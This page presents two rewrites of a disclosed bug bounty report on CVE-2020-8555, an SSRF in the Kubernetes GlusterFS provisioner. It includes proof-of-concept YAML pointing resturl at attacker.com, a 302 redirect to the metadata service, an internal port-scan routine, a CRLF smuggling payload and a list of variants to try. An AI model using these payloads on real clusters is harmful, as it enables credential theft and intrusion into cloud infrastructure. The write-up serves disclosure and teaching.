Skip to content
SSRF Write-up Advanced

Who we are

A server-side request forgery (SSRF) in the Kubernetes GlusterFS volume provisioner allowed an attacker to make the controller manager send requests to internal cloud resources. By chaining redirects, LAN scanning, and CRLF injection, the researchers could access metadata services, steal credentials, and escalate privileges.

Reever Zax Follow

Published on medium.com

Bounty$40,000 View original

We are two French security researchers who worked and found a Kubernetes vulnerability together. Our names are Brice Augras and Christophe Hauquiert, but you might also know us as Reeverzax and Hach on many Bug Bounty platforms.

Breizh Zero-day Hunters, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

This is the story of a research project that started as a weekend idea and ended with an in-core Kubernetes vulnerability, CVE-2020-8555, and bounties from several programmes. The authors are Brice Augras (Reeverzax) and Christophe Hauquiert (Hach), two French security researchers.

The feature at the centre of it is dynamic volume provisioning in a managed Kubernetes service. When you create a managed cluster, the control plane is generally hosted and managed by the cloud provider, while the worker nodes sit in the customer's perimeter.

Control plane is hosted in the cloud provider perimeter, while Kubernetes nodes are in the client perimeter. From the original on medium.com

Control plane is hosted in the cloud provider perimeter, while Kubernetes nodes are in the client perimeter.

Dynamic volume provisioning creates volumes from an external storage backend and maps them to a persistent volume claim (PVC). When a PVC is created and associated with a StorageClass, the provisioning step is handled by the kube/cloud controller manager (the name depends on the release). Several provisioners are supported by Kubernetes, most of them in core, and some others are managed by additional provisioners that must be instantiated as pods in the cluster.

The research focused on the in-core provisioning mechanism:

Dynamic volume provisioning using Kubernetes in core provisioner From the original on medium.com

Dynamic volume provisioning using Kubernetes in core provisioner

In a managed environment the controller manager is handled by the cloud provider, but the request asking for volume creation (step 3 in the diagram) is emitted from the internal cloud provider network. That is the interesting part: a request that a customer can influence is sent from inside the provider's network.

Setup

The research was led on Azure Kubernetes Service (AKS) with Kubernetes version 1.12 in the North Europe region. The three advanced scenarios described worked on most recent Kubernetes releases, except scenario 3, which required Kubernetes compiled with Golang 1.12 or lower. The attacker's external server is referred to as https://attacker.com.

To manage the cluster remotely the authors used the kubectl binary. Every cloud provider (Azure, Google, AWS and others) offers a way to download credentials and configure this tool.

Finding it

While analysing the GlusterFS StorageClass in the Golang client source, the authors noticed that on the first HTTP request issued during a volume creation, /volumes was appended at the end of the user-provided URL in the resturl parameter. The relevant code is in the Heketi Go client, client/api/go-client/volume.go.

That means a customer-controlled value ends up as the base of a request made by the controller manager. To remove the unwanted trailing path, they used the # trick in the resturl parameter: everything after # is treated as a fragment and not sent to the server.

Exploitation

Step 1: half-blind SSRF with a StorageClass

The first YAML payload was used as evidence for the half-blind SSRF vulnerability:

YAML
apiVersion: storage.k8s.io/v1kind: StorageClassmetadata:  name: poc-ssrfprovisioner: kubernetes.io/glusterfsparameters:  resturl: "http://attacker.com:6666/#"---apiVersion: v1kind: PersistentVolumeClaimmetadata:  name: poc-ssrfspec:  accessModes:  - ReadWriteOnce  volumeMode: Filesystem  resources:    requests:      storage: 8Gi  storageClassName: poc-ssrf

The StorageClass sets provisioner: kubernetes.io/glusterfs and points resturl at the attacker server, with # cutting off the /volumes suffix. The PVC references that StorageClass, so creating it triggers the provisioning path.

The payload was applied with:

Bash
kubectl create -f sc-poc.yaml

The kube controller manager handled the creation process and triggered the resulting HTTP request:

Received request from attacker point of view From the original on medium.com

Received request from attacker point of view

Shortly after, the HTTP response from the targeted server could be retrieved with the describe pvc or get events commands provided by kubectl, because the Kubernetes driver is by default too verbose about warnings and errors handling. Here is an example using https://www.google.fr as the resturl value:

Bash
kubectl describe pvc poc-ssrf# you can also use kubectl get events
From the original on medium.com

At this stage the authors were limited to HTTP POST requests and could not retrieve body content from the response when the return code was 201.

Step 2: redirecting POST to GET to read the response

The first payload was improved by making the attacker server return a 302 HTTP return code, in order to convert the POST request into a GET request (step 4 on the schematic).

From the original on medium.com

The first request issued by the GlusterFS client in the controller manager is a POST. The conversion works as follows:

  1. The StorageClass uses http://attacker.com/redirect.php as the resturl parameter.
  2. The https://attacker.com/redirect.php endpoint responds with a 302 HTTP return code and a Location header pointing to http://[redacted]. Any other internal resource could be used; this redirected URL is given for example purposes.
  3. The default behaviour of the Golang net/http library is to follow redirections and to convert POST to GET on a 302 return code, so the targeted resource is requested with an HTTP GET request.

The HTTP response body then became readable by describing the persistent volume claim object:

Bash
kubectl describe pvc xxx

Here is an example of a JSON HTTP response that was retrieved:

From the original on medium.com

At this point the exploitation was still limited in three ways:

  • HTTP headers could not be injected into the emitted request.
  • POST requests with body parameters could not be performed, which would have been useful to request a key value on an ETCD instance running on port 2379 when HTTP unencrypted is used.
  • Response body content could not be retrieved when the HTTP return code was 200 and the response was not of a JSON Content-Type.

Step 3: scanning the internal network

The half-blind SSRF was then used to scan the cloud provider internal network and to request the different listening services (metadata instance, kubelet, ETCD and so on) based on the kube controller responses.

From the original on medium.com

First the authors identified default listening ports of Kubernetes components (8443, 10250, 10251 and others), then they automated the scanning process. The way to scan for one resource was very specific and incompatible with traditional SSRF exploitation tools or scanners, so they wrote custom workers in a bash script to automate the complete process. To scan the [redacted]/12 internal range faster they launched 15 workers simultaneously; that range was chosen for demonstration purposes and can be adapted to each provider's internal IP range.

As a prerequisite to scan one IP address and one port, the following tasks had to be achieved:

  1. Delete the previously tested StorageClass.
  2. Delete the previously tested PersistentVolumeClaim.
  3. Change IP and PORT in sc.yaml.
  4. Create a StorageClass with the new IP and port.
  5. Create a new PersistentVolumeClaim.
  6. Retrieve the scan result by describing the PersistentVolumeClaim.

Step 4: CRLF and HTTP smuggling in old releases

If, in addition, the provider offered old Kubernetes cluster releases to its customers and gave them access to kube controller manager logs, the impact became even higher. An attacker could then craft full user-controllable HTTP requests intended to retrieve the complete HTTP response.

From the original on medium.com

The prerequisites for this last scenario were:

  • Kube controller manager logs reachable by the customer (for example Azure LogInsights).
  • A Kubernetes cluster version using a Golang version lower than 1.12.

The authors deployed a local environment simulating the exchanges between the GlusterFS Go client and a fake targeted server. They noticed that a vulnerability existed in Golang releases lower than 1.12 (golang/go issue 30794) that allowed HTTP smuggling and CRLF attacks. By combining the half-blind SSRF with this second issue, they were able to send complete crafted requests, including custom headers, HTTP method, parameters and data, which were then treated by the kube controller manager.

Here is an example of a working StorageClass resturl parameter payload for this attack scenario:

HTTP
http://172.31.X.1:10255/healthz? HTTP/1.1\r\nConnection: keep-alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET /pods? HTTP/1.1\r\nHost: 172.31.X.1:10255\r\n\r\n

The payload contains a first request to /healthz and a second request (GET /pods) with its own headers. An "unsolicited response" error was then triggered and stored inside the controller logs. Thanks to the default verbosity, the content of the HTTP response message was logged too.

From the original on medium.com

This was the most impactful proof of concept payload. With this approach the authors managed to perform, among different managed Kubernetes providers, actions such as privilege escalation with credential retrieval on metadata instances and denial of service against the master instance with an HTTP request (unencrypted) on ETCD master instances.

Root cause

The root cause is a server-side request forgery in the in-core GlusterFS provisioner: the user-controlled resturl parameter of a StorageClass becomes the base URL of an HTTP request issued by the controller manager, which runs in the cloud provider's network. The /volumes path appended by the client is neutralised with the # fragment trick, so the attacker controls where the request goes.

The impact is amplified by two behaviours of the Go HTTP client: it follows redirects and converts POST to GET on a 302, which turns a write-style request into a readable GET against internal resources; and, in Golang versions lower than 1.12, it is vulnerable to CRLF injection and HTTP smuggling, which allows fully crafted requests. The verbose default handling of warnings and errors in the Kubernetes driver then leaks the responses back to the customer through kubectl describe pvc, events and controller logs.

Impact

The official Kubernetes announcement rated the SSRF vulnerability CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Considering only the Kubernetes appliance perimeter, the Integrity vector is qualified as None.

Evaluating the impact in a managed service context led the authors to requalify the vulnerability as Critical, CVSS 10/10, for multiple distributors. Their justification:

  • Integrity: remote command execution by using the internal dumped credentials; reproducing the scenario in an IDOR way with other resources discovered in the LAN area.
  • Confidentiality: lateral movement from cloud credential stealing (for example the metadata API); information gathering by LAN scanning (SSH versions, HTTP server versions and so on); instance and infrastructure information by requesting internal APIs such as metadata APIs (http://[redacted]); customer data leak by using cloud credentials.
  • Availability: all the post-exploitation scenarios about integrity attack vectors could be used to perform disruptive scenarios and make master instances from the customer perimeter or other customers unavailable. In a managed Kubernetes environment, with the integrity impact in mind, many scenarios can impact availability, for example corrupting the ETCD database or performing critical calls to the Kubernetes API.

The scenarios depend on conditions: the redirect trick needs the attacker server to answer with a 302, the log-based scenario needs customer-accessible controller manager logs and a cluster on Golang lower than 1.12, and the most severe outcomes depend on what the internal network exposes.

Fix

The report does not describe the code change itself. It records that the Kubernetes Product Security Committee published CVE-2020-8555 for the SSRF, that the half-blind SSRF plus CRLF injection for old releases was considered an in-core vulnerability, and that Kubernetes and Microsoft publicly disclosed on 1st June 2020. The CRLF and smuggling behaviour was tracked separately as golang/go issue 30794 for Golang releases lower than 1.12.

Variants to test

The report names other provisioners as concerned by the same pattern: Quobyte, StorageFS and ScaleIO, in addition to GlusterFS.

Concrete things to try:

  1. Point a provisioner's URL parameter at a server you control and append # to cut off paths the client adds.
  2. Answer with a 302 whose Location points at an internal address such as http://[redacted]. A positive result is the internal response body appearing in kubectl describe pvc or in events.
  3. Automate the create/describe/delete cycle over an internal range and the default Kubernetes ports (8443, 10250, 10251 and others). A positive result is differing controller responses that reveal which services are listening.
  4. On clusters built with Golang lower than 1.12, inject CRLF sequences into the URL parameter to smuggle a second request. A positive result is an "unsolicited response" error in the controller manager logs containing the internal response.
  5. Check whether controller manager logs are exposed to the customer (for example through a log analytics service).

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

Two French security researchers, Brice Augras (known online as Reeverzax) and Christophe Hauquiert (known online as Hach), spent a weekend evening looking into how Kubernetes works when a cloud company runs it for you. They were not planning to find anything serious. They were talking about an old idea for a class of bug called SSRF, and they decided to test whether it could work against managed Kubernetes clusters. By the early hours of the morning they had something real. That work led to a vulnerability tracked as CVE-2020-8555, a bounty from Microsoft's bug bounty programme, a bounty from Google's vulnerability reward programme and a bounty from Kubernetes itself. This article walks through what they found, in the order they found it, explaining each concept from scratch.

Who they are

Brice Augras and Christophe Hauquiert are the two researchers behind this work. They are known on bug bounty platforms as Reeverzax and Hach. A bug bounty programme is a scheme run by a company that pays people for reporting security flaws in its products, instead of punishing them. The researchers describe themselves as hunters who work at night, fuelled by pizza and beer, and this particular session started around 11pm because they were meeting the next day for a Capture The Flag competition (a contest where people solve security puzzles).

The context: what Kubernetes is and how a cloud provider runs it

Kubernetes is software for running lots of small programs, called containers, across many machines and keeping them running. Think of it as a manager for a fleet of delivery vans: you tell it what should be running, and it makes sure that is what is running.

Most companies do not install Kubernetes on their own computers. They rent it from a cloud provider (Microsoft Azure, Google Cloud, Amazon Web Services and others). This is called a managed Kubernetes service. The cloud provider runs the important central part, called the control plane, on its own machines. The customer's own applications run on separate machines called worker nodes, which sit in the customer's part of the network.

Control plane is hosted in the cloud provider perimeter, while Kubernetes nodes are in the client perimeter. From the original on medium.com

Control plane is hosted in the cloud provider perimeter, while Kubernetes nodes are in the client perimeter.

The picture shows the split: the control plane lives inside the cloud provider's network, and the worker nodes live in the customer's network. This split is the whole reason the bug matters. The control plane can reach things the customer cannot, and it makes requests on the customer's behalf.

One feature of Kubernetes is called dynamic volume provisioning. A volume is a chunk of storage, like an external hard drive, that a program can use to keep data. Dynamic means Kubernetes creates that storage automatically when a program asks for it, instead of an administrator setting it up by hand. The request for storage is written as a PersistentVolumeClaim, usually shortened to PVC. A PVC is a small text file saying "I need 8 gigabytes of storage, of this kind". A StorageClass is another small text file that says which storage system should provide it and how to talk to that system.

When a PVC is created and it names a StorageClass, the provisioning step is carried out by a component called the kube controller manager (in some versions it is called the cloud controller manager). Kubernetes supports several storage systems out of the box, called provisioners, and others can be added as extra programs running inside the cluster.

Dynamic volume provisioning using Kubernetes in core provisioner From the original on medium.com

Dynamic volume provisioning using Kubernetes in core provisioner

The diagram shows the flow: a customer creates a PVC, the controller manager notices, and it sends a request out to the storage system to create the volume. In a managed service, that outgoing request comes from the cloud provider's internal network, not from the customer's machines. That is the interesting part: a request the customer can influence is sent from inside the provider's network.

The setup

The researchers did their testing on Azure Kubernetes Service (AKS), a managed Kubernetes product from Microsoft, running Kubernetes version 1.12, in the North Europe region. They used an external server they controlled, referred to as https://attacker.com. They managed the cluster with kubectl, the standard command-line tool for talking to Kubernetes. Every cloud provider offers a way to download credentials and configure kubectl so it can reach your cluster.

Finding the flaw

While reading the source code of the GlusterFS storage client, written in the Go programming language, they noticed something. GlusterFS is one of the storage systems Kubernetes can talk to. On the first HTTP request sent during volume creation, the client appends the text /volumes to the end of a URL that the customer supplies in a parameter called resturl. The relevant code is in the Heketi Go client, in the file client/api/go-client/volume.go.

In plain terms: the customer writes a web address into a configuration file, and the cloud provider's controller manager then visits that address, with /volumes stuck on the end. If the customer writes their own server's address there, the controller manager will contact the customer's server from inside the provider's network. That is the definition of a server-side request forgery, or SSRF: a bug where an attacker can make a server send a request to a destination of the attacker's choosing. The server is tricked into being the attacker's proxy.

There was one obstacle. The client always adds /volumes to the end, so the request would go to a path the attacker did not choose. The researchers used the # trick. In a web address, everything after a # is called a fragment and is never sent to the server; browsers use it to jump to a section of a page. By putting # at the end of their URL, everything the client appends after it is ignored, and the request goes exactly where they want.

Exploitation

Step 1: a half-blind SSRF with a StorageClass

The first payload was a YAML file, a plain-text configuration format that Kubernetes reads. It was used as evidence that the SSRF existed:

YAML
apiVersion: storage.k8s.io/v1kind: StorageClassmetadata:  name: poc-ssrfprovisioner: kubernetes.io/glusterfsparameters:  resturl: "http://attacker.com:6666/#"---apiVersion: v1kind: PersistentVolumeClaimmetadata:  name: poc-ssrfspec:  accessModes:  - ReadWriteOnce  volumeMode: Filesystem  resources:    requests:      storage: 8Gi  storageClassName: poc-ssrf

Line by line, in plain words:

  • apiVersion: storage.k8s.io/v1 says which version of the Kubernetes storage format this file uses.
  • kind: StorageClass says this first object is a StorageClass, the description of a storage system.
  • metadata: name: poc-ssrf gives it a name, here "poc-ssrf" (poc stands for proof of concept).
  • provisioner: kubernetes.io/glusterfs says the storage system is GlusterFS, handled by Kubernetes' built-in code.
  • parameters: resturl: "http://attacker.com:6666/#" is the key line: it tells the provisioner to talk to the attacker's server on port 6666, and the # cuts off the /volumes suffix the client would add.
  • --- separates this object from the next one in the same file.
  • kind: PersistentVolumeClaim starts the second object, the request for storage.
  • metadata: name: poc-ssrf names the claim.
  • spec: accessModes: - ReadWriteOnce says the storage will be used by one machine at a time.
  • volumeMode: Filesystem says the storage should be presented as a filesystem.
  • resources: requests: storage: 8Gi asks for 8 gibibytes of space.
  • storageClassName: poc-ssrf links this claim to the StorageClass above, which is what triggers the provisioning.

The payload was applied with this command:

Bash
kubectl create -f sc-poc.yaml

kubectl is the command-line tool for Kubernetes. create tells it to make the objects described in a file. -f sc-poc.yaml points at the file to read. The controller manager then handled the creation and sent the HTTP request to the attacker's server:

Received request from attacker point of view From the original on medium.com

Received request from attacker point of view

Shortly afterwards, the researchers could also read the response from the targeted server. They did this with the describe pvc or get events commands, because the Kubernetes driver is by default too talkative about warnings and errors: it writes the details into the object's description and into the cluster's event log. Here is an example using https://www.google.fr as the resturl value:

Bash
kubectl describe pvc poc-ssrf# you can also use kubectl get events

describe pvc poc-ssrf asks Kubernetes to print everything it knows about the claim named "poc-ssrf". The comment after the # notes that kubectl get events shows the same kind of information from the event log. This is called a half-blind SSRF: the attacker cannot see the response directly, but can read it indirectly through what the server reports back.

From the original on medium.com

At this stage they were limited to HTTP POST requests, and they could not read the body of the response when the return code was 201. HTTP is the language browsers and servers use to talk. A POST request is one that sends data to the server, like submitting a form. A return code is a three-digit number the server sends back to say what happened: 200 means OK, 201 means created, 302 means moved elsewhere, 404 means not found. The problem was that a POST with a 201 reply did not give them readable content.

Step 2: turning POST into GET to read the response

They improved the first payload by making the attacker's server answer with a 302 return code, which turns the POST request into a GET request. A GET request is one that simply asks for a page, like typing an address into a browser. The diagram shows this as step 4:

From the original on medium.com

The first request from the GlusterFS client inside the controller manager is a POST. The conversion works in three steps:

  1. The StorageClass uses http://attacker.com/redirect.php as the resturl parameter.
  2. The https://attacker.com/redirect.php endpoint responds with a 302 HTTP return code and a Location header pointing to http://[redacted]. Any other internal resource could be used; this redirected URL is given for example purposes.
  3. The default behaviour of the Golang net/http library is to follow redirections and to convert POST to GET on a 302 return code, so the targeted resource is requested with an HTTP GET request.

In plain words: a 302 is a redirect, the web equivalent of a forwarding address. The Location header is where the server says to go next. [redacted] is a special address that, inside cloud networks, belongs to the metadata service, a small internal service that hands out information about the machine. The Go programming language's built-in web client follows redirects automatically, and when it does so after a 302 it changes the method from POST to GET. So the attacker's server acts as a relay: the controller manager visits the attacker, is told to go to the internal address, and goes there with a simple GET request.

The response body then became readable by describing the persistent volume claim:

Bash
kubectl describe pvc xxx

describe pvc xxx prints the details of the claim named "xxx". Here is an example of a JSON HTTP response they were able to retrieve:

From the original on medium.com

JSON is a common text format for structured data, made of names and values in curly braces. At this point the exploitation was still limited in three ways:

  • HTTP headers could not be injected into the emitted request. Headers are the extra lines of information sent with a request, such as what kind of content is being sent.
  • POST requests with body parameters could not be performed, which would have been useful to request a key value on an ETCD instance running on port 2379 when HTTP unencrypted is used. ETCD is the database where Kubernetes keeps its configuration; port 2379 is the port it listens on.
  • Response body content could not be retrieved when the HTTP return code was 200 and the response was not of a JSON Content-Type. Content-Type is the header that says what format the body is in.

Step 3: scanning the internal network

The half-blind SSRF was then used to scan the cloud provider's internal network and to request the different services listening there (the metadata instance, kubelet, ETCD and so on), judging from the controller's responses. Kubelet is the agent that runs on each worker node; a port scan is the practice of trying many addresses and ports to see which ones answer.

From the original on medium.com

First they identified the default listening ports of Kubernetes components (8443, 10250, 10251 and others), then they automated the scanning. The way to scan for one resource was very specific and incompatible with traditional SSRF tools or scanners, so they wrote custom workers in a bash script to automate the whole process. A bash script is a text file of commands that a computer runs in sequence. To scan the [redacted]/12 internal range faster they launched 15 workers at the same time; that range was chosen for demonstration purposes and can be adapted to each provider's internal IP range. An IP range is a block of network addresses; [redacted]/12 is a large private block.

As a prerequisite to scan one IP address and one port, the following tasks had to be achieved:

  1. Delete the previously tested StorageClass.
  2. Delete the previously tested PersistentVolumeClaim.
  3. Change IP and PORT in sc.yaml.
  4. Create a StorageClass with the new IP and port.
  5. Create a new PersistentVolumeClaim.
  6. Retrieve the scan result by describing the PersistentVolumeClaim.

Each scan of one address and port meant editing the configuration file, creating the objects, reading the result and cleaning up, which is why automation was needed.

Step 4: CRLF and HTTP smuggling in old releases

If, in addition, the provider offered old Kubernetes cluster releases to its customers and gave them access to the kube controller manager logs, the impact became even higher. An attacker could then craft full HTTP requests and retrieve the complete response.

From the original on medium.com

The prerequisites for this last scenario were:

  • Kube controller manager logs reachable by the customer (for example Azure LogInsights).
  • A Kubernetes cluster version using a Golang version lower than 1.12.

The researchers deployed a local environment simulating the exchanges between the GlusterFS Go client and a fake targeted server. They noticed that a vulnerability existed in Golang releases lower than 1.12 (golang/go issue 30794) that allowed HTTP smuggling and CRLF attacks. CRLF stands for carriage return and line feed, the two invisible characters that mark the end of a line in HTTP. If an attacker can insert them into a value, they can end one line early and start a new one, adding headers or even a whole second request. HTTP smuggling is the name for sneaking an extra request past the server's expectations. By combining the half-blind SSRF with this second issue, they could send complete crafted requests, including custom headers, method, parameters and data, which the controller manager then treated as its own.

Here is an example of a working StorageClass resturl parameter payload for this attack scenario:

HTTP
http://172.31.X.1:10255/healthz? HTTP/1.1\r\nConnection: keep-alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET /pods? HTTP/1.1\r\nHost: 172.31.X.1:10255\r\n\r\n

Line by line, in plain words:

  • http://172.31.X.1:10255/healthz? is the start of the first request, aimed at a Kubernetes component on port 10255, asking for its health check page.
  • HTTP/1.1 says which version of HTTP is being used.
  • \r\n is the CRLF pair, marking the end of a line.
  • Connection: keep-alive asks the server to keep the connection open for another request.
  • Host: 172.31.X.1:10255 tells the server which site is being requested.
  • Content-Length: 1 says one byte of body follows.
  • \r\n\r\n is the blank line that ends the headers.
  • 1 is that one byte of body.
  • \r\nGET /pods? HTTP/1.1 starts a second, smuggled request asking for the list of pods (the running containers).
  • Host: 172.31.X.1:10255 gives the host for the second request.
  • \r\n\r\n ends the second request's headers.

The payload contains a first request to /healthz and a second request (GET /pods) with its own headers. An "unsolicited response" error was then triggered and stored inside the controller logs. Thanks to the default verbosity, the content of the HTTP response message was logged too.

From the original on medium.com

This was the most impactful proof of concept. With this approach the researchers managed to perform, among different managed Kubernetes providers, actions such as privilege escalation with credential retrieval on metadata instances and denial of service against the master instance with an HTTP request (unencrypted) on ETCD master instances. Privilege escalation means gaining more access than you should have; denial of service means making a service unavailable.

Root cause

The root cause is a server-side request forgery in the built-in GlusterFS provisioner: the user-controlled resturl parameter of a StorageClass becomes the base address of an HTTP request issued by the controller manager, which runs in the cloud provider's network. The /volumes path appended by the client is neutralised with the # fragment trick, so the attacker controls where the request goes.

The impact is amplified by two behaviours of the Go HTTP client: it follows redirects and converts POST to GET on a 302, which turns a write-style request into a readable GET against internal resources; and, in Golang versions lower than 1.12, it is vulnerable to CRLF injection and HTTP smuggling, which allows fully crafted requests. The verbose default handling of warnings and errors in the Kubernetes driver then leaks the responses back to the customer through kubectl describe pvc, events and controller logs.

Impact

The official Kubernetes announcement rated the SSRF vulnerability CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. CVSS is a standard scoring system for vulnerabilities, from 0 to 10, where higher is worse. The string after it is the breakdown of the score: network attack vector, high complexity, low privileges required, no user interaction, changed scope, high confidentiality impact, no integrity impact, no availability impact.

Considering only the Kubernetes appliance perimeter, the Integrity vector is qualified as None. Integrity means the attacker's ability to change data; None means the official score says they cannot.

Evaluating the impact in a managed service context led the researchers to requalify the vulnerability as Critical, CVSS 10/10, for multiple distributors. Their justification:

  • Integrity: remote command execution by using the internal dumped credentials; reproducing the scenario in an IDOR way with other resources discovered in the LAN area. IDOR means insecure direct object reference, where changing an identifier lets you reach someone else's data.
  • Confidentiality: lateral movement from cloud credential stealing (for example the metadata API); information gathering by LAN scanning (SSH versions, HTTP server versions and so on); instance and infrastructure information by requesting internal APIs such as metadata APIs (http://[redacted]); customer data leak by using cloud credentials. Confidentiality means the attacker's ability to read data they should not see.
  • Availability: all the post-exploitation scenarios about integrity attack vectors could be used to perform disruptive scenarios and make master instances from the customer perimeter or other customers unavailable. In a managed Kubernetes environment, with the integrity impact in mind, many scenarios can impact availability, for example corrupting the ETCD database or performing critical calls to the Kubernetes API.

The scenarios depend on conditions: the redirect trick needs the attacker server to answer with a 302, the log-based scenario needs customer-accessible controller manager logs and a cluster on Golang lower than 1.12, and the most severe outcomes depend on what the internal network exposes.

Fix

The report does not describe the code change itself. It records that the Kubernetes Product Security Committee published CVE-2020-8555 for the SSRF, that the half-blind SSRF plus CRLF injection for old releases was considered an in-core vulnerability, and that Kubernetes and Microsoft publicly disclosed on 1st June 2020. The CRLF and smuggling behaviour was tracked separately as golang/go issue 30794 for Golang releases lower than 1.12.

Variants to test

The report names other provisioners as concerned by the same pattern: Quobyte, StorageFS and ScaleIO, in addition to GlusterFS.

Concrete things to try:

  1. Point a provisioner's URL parameter at a server you control and append # to cut off paths the client adds.
  2. Answer with a 302 whose Location points at an internal address such as http://[redacted]. A positive result is the internal response body appearing in kubectl describe pvc or in events.
  3. Automate the create/describe/delete cycle over an internal range and the default Kubernetes ports (8443, 10250, 10251 and others). A positive result is differing controller responses that reveal which services are listening.
  4. On clusters built with Golang lower than 1.12, inject CRLF sequences into the URL parameter to smuggle a second request. A positive result is an "unsolicited response" error in the controller manager logs containing the internal response.
  5. Check whether controller manager logs are exposed to the customer (for example through a log analytics service).

Timeline

  • 6th December 2019: MSRC Bug Bounty case submission.
  • 3rd January 2020: Kubernetes was informed by a third party that the researchers were working on the issue. It asked them to consider the SSRF as an in-core vulnerability. They then provided a generic report with technical details about the root cause.
  • 15th January 2020: at Kubernetes' request, they submitted a technical and generic report through the HackerOne platform.
  • 15th January 2020: Kubernetes told them the half-blind SSRF plus CRLF injection for old releases was being considered an in-core vulnerability. They immediately stopped looking at other distributors' perimeters, as the root cause was now handled by the Kubernetes team.
  • 15th January 2020: bounty received from MSRC through HackerOne.
  • 16th January 2020: the Kubernetes Product Security Committee acknowledged the vulnerability and requested a mid-March embargo because of the many distributors involved. An embargo is an agreement to keep a flaw secret until a fixed date.
  • 11th February 2020: bounty received from Google VRP.
  • 4th March 2020: bounty received from Kubernetes through HackerOne.
  • 15th March 2020: the initial planned public disclosure was delayed because of COVID-19.
  • 1st June 2020: Kubernetes and Microsoft public disclosure.

Glossary

  • API: a defined way for one program to ask another program to do something, like a menu of requests a service accepts.
  • Availability: the property of a system being usable when needed; an availability attack tries to make it unusable.
  • Bash script: a text file of commands that a computer runs in sequence.
  • Bug bounty programme: a scheme where a company pays people for reporting security flaws in its products.
  • Capture The Flag (CTF): a contest where people solve security puzzles to find hidden flags.
  • Cloud provider: a company that rents out computers and services over the internet, such as Microsoft Azure, Google Cloud or Amazon Web Services.
  • Confidentiality: the property of data being readable only by those allowed to read it; a confidentiality attack tries to read it.
  • Container: a packaged program with everything it needs to run, kept separate from other programs on the same machine.
  • Control plane: the central part of Kubernetes that decides what should run and where.
  • Controller manager: the Kubernetes component that watches for changes and carries out the resulting actions, such as provisioning storage.
  • CRLF: carriage return and line feed, the two invisible characters that mark the end of a line in HTTP.
  • CRLF injection: inserting those characters into a value so the attacker can end a line early and add their own lines.
  • CVSS: a standard scoring system for vulnerabilities, from 0 to 10, where higher is worse.
  • Denial of service: an attack that makes a service unavailable to its users.
  • Dynamic volume provisioning: Kubernetes creating storage automatically when a program asks for it.
  • ETCD: the database where Kubernetes keeps its configuration.
  • Fragment: the part of a web address after a #, which is never sent to the server.
  • GET: an HTTP request that simply asks for a page or resource.
  • GlusterFS: a storage system that Kubernetes can talk to through a built-in provisioner.
  • Golang (Go): a programming language, and the language Kubernetes is written in.
  • Header: an extra line of information sent with an HTTP request or response, such as the content type.
  • Heketi: the Go client library used to talk to GlusterFS.
  • HTTP: the language browsers and servers use to talk to each other.
  • HTTP smuggling: sneaking an extra request past a server's expectations by abusing how requests are framed.
  • IDOR: insecure direct object reference, where changing an identifier lets you reach someone else's data.
  • Integrity: the property of data not being changed by unauthorised parties; an integrity attack tries to change it.
  • IP address: a number that identifies a machine on a network.
  • IP range: a block of network addresses, such as [redacted]/12.
  • JSON: a common text format for structured data, made of names and values in curly braces.
  • kubectl: the standard command-line tool for talking to Kubernetes.
  • Kubelet: the agent that runs on each worker node and manages containers there.
  • Kubernetes: software for running and managing containers across many machines.
  • Location header: the part of a redirect response that says where to go next.
  • Managed Kubernetes service: a Kubernetes cluster where a cloud provider runs the control plane for the customer.
  • Metadata service: a small internal service in cloud networks that hands out information about the machine, sometimes including credentials.
  • PersistentVolumeClaim (PVC): a small text file asking Kubernetes for storage.
  • Port: a numbered channel on a machine that a service listens on, such as 2379 for ETCD.
  • POST: an HTTP request that sends data to the server, like submitting a form.
  • Privilege escalation: gaining more access than you should have.
  • Provisioner: the part of Kubernetes that creates storage from a particular storage system.
  • Redirect: a server response telling the client to go to a different address instead.
  • Return code: a three-digit number a server sends back to say what happened, such as 200 for OK or 302 for moved.
  • Server-side request forgery (SSRF): a bug where an attacker can make a server send a request to a destination of the attacker's choosing.
  • StorageClass: a small text file saying which storage system should provide storage and how to talk to it.
  • Worker node: a machine in a Kubernetes cluster where the customer's applications actually run.
  • YAML: a plain-text configuration format that Kubernetes reads.
  • 302: an HTTP return code meaning the requested resource has moved elsewhere; the client is told to follow the Location header.
  • 201: an HTTP return code meaning a resource was created.
  • 200: an HTTP return code meaning OK.

More from Microsoft

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.